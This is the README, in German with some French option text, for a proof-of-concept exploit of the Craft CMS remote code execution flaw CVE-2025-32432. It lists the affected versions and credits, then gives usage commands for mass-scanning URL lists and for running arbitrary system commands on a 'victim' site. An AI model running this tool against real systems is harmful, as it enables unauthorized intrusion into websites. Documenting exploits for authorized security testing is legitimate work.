CraftCMS CVE-2025-32432 - Sauberer PoC

Bereinigte und verbesserte Version des ursprünglichen Proof of Concept.

Credits

• Originalforschung: Orange Cyberdefense & Chirag Artani
• Bereinigte und verbesserte Version: n40y

Lizenz

Dieses Projekt steht unter der MIT-Lizenz.
Siehe Datei LICENSE für weitere Details.

Disclaimer

Dieser PoC wird ausschließlich zu Bildungszwecken und für autorisierte Tests (CTF, Sicherheitsaudits mit ausdrücklicher schriftlicher Genehmigung) bereitgestellt.

Jegliche Nutzung auf Systemen ohne Autorisierung ist illegal. Der Autor übernimmt keine Haftung für missbräuchliche Verwendung.

Verwundbare Versionen

• Craft CMS 3.x: < 3.9.15
• Craft CMS 4.x: < 4.14.15
• Craft CMS 5.x: < 5.6.17

Vorgenommene Verbesserungen

• Vollständige Entfernung der chinesischen Kommentare
• Automatische Erkennung der Craft-CMS-Version
• Umstrukturierter und besser wartbarer Code
• Bessere Fehler- und Timeout-Behandlung
• Klare Meldungen auf Französisch/Englisch

Projektstruktur

craftcms-cve-2025-32432-poc/
├── craftcms_rce_php_check.py
├── craftcms_final_payload.py
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore

Installation

git clone https://github.com/n40y/craftcms-cve-2025-32432-poc.git
cd craftcms-cve-2025-32432-poc

pip3 install -r requirements.txt

Verwendung:

1. Schnelle Überprüfung

python3 craftcms_rce_php_check.py -u https://target.com

# Ou avec une liste
python3 craftcms_rce_php_check.py -f urls.txt -t 10

2. Vollständige Ausnutzung (RCE)

python3 craftcms_final_payload.py -u https://victim.com -c "id"

Optionen

-u, --url → URL cible (obligatoire)
-c, --cmd → Commande système à exécuter (obligatoire)
-a, --asset → AssetId valide connu (optionnel)
-s, --scan-max → Max assetId à scanner (défaut: 300)